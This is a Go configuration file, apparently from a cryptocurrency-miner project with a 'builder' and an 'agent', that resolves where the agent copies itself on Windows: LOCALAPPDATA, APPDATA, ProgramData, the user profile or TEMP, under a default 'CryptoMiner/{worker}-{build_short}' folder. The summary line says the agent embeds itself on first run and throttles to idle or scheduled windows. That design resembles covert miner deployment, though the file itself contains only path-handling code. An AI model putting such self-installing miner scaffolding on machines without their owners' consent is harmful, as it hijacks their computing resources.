Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
102 lines
2.6 KiB
Go
102 lines
2.6 KiB
Go
package config
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
const DefaultInstallRelativePath = "CryptoMiner/{worker}-{build_short}"
|
|
|
|
func (c RuntimeConfig) InstallDirectory() (string, error) {
|
|
base, err := resolveInstallBase(c.InstallBase, c.InstallCustomBase)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
|
|
rel := strings.TrimSpace(c.InstallRelativePath)
|
|
if rel == "" {
|
|
rel = DefaultInstallRelativePath
|
|
}
|
|
rel = expandInstallTokens(rel, c.WorkerName, c.BuildID, c.EffectiveProcessName())
|
|
rel = filepath.FromSlash(rel)
|
|
rel = strings.Trim(rel, `\/`)
|
|
if rel == "" {
|
|
return "", fmt.Errorf("install relative path resolved to empty")
|
|
}
|
|
|
|
full := filepath.Join(base, rel)
|
|
return filepath.Clean(full), nil
|
|
}
|
|
|
|
func resolveInstallBase(baseType, customBase string) (string, error) {
|
|
switch strings.ToLower(strings.TrimSpace(baseType)) {
|
|
case "", "localappdata":
|
|
return requireEnv("LOCALAPPDATA")
|
|
case "appdata":
|
|
return requireEnv("APPDATA")
|
|
case "programdata":
|
|
return requireEnv("ProgramData")
|
|
case "userprofile":
|
|
return requireEnv("USERPROFILE")
|
|
case "temp":
|
|
if v := os.Getenv("TEMP"); v != "" {
|
|
return v, nil
|
|
}
|
|
return requireEnv("TMP")
|
|
case "custom":
|
|
custom := strings.TrimSpace(customBase)
|
|
if custom == "" {
|
|
return "", fmt.Errorf("custom install base path is required when install_base is custom")
|
|
}
|
|
return expandWindowsEnv(custom), nil
|
|
default:
|
|
return "", fmt.Errorf("unsupported install base: %s", baseType)
|
|
}
|
|
}
|
|
|
|
func expandInstallTokens(path, workerName, buildID, processName string) string {
|
|
shortBuild := buildID
|
|
if len(shortBuild) > 8 {
|
|
shortBuild = shortBuild[:8]
|
|
}
|
|
replacer := strings.NewReplacer(
|
|
"{worker}", sanitizePathToken(workerName),
|
|
"{build}", sanitizePathToken(buildID),
|
|
"{build_short}", sanitizePathToken(shortBuild),
|
|
"{process}", sanitizePathToken(processName),
|
|
)
|
|
return replacer.Replace(path)
|
|
}
|
|
|
|
func sanitizePathToken(name string) string {
|
|
replacer := strings.NewReplacer(
|
|
" ", "-", "/", "-", "\\", "-", ":", "-",
|
|
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
|
|
)
|
|
clean := replacer.Replace(strings.TrimSpace(name))
|
|
if clean == "" {
|
|
return "miner"
|
|
}
|
|
return clean
|
|
}
|
|
|
|
func requireEnv(key string) (string, error) {
|
|
value := os.Getenv(key)
|
|
if value == "" {
|
|
return "", fmt.Errorf("environment variable %s is not set", key)
|
|
}
|
|
return value, nil
|
|
}
|
|
|
|
func expandWindowsEnv(path string) string {
|
|
out := path
|
|
for _, key := range []string{
|
|
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
|
|
} {
|
|
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
|
|
}
|
|
return out
|
|
}
|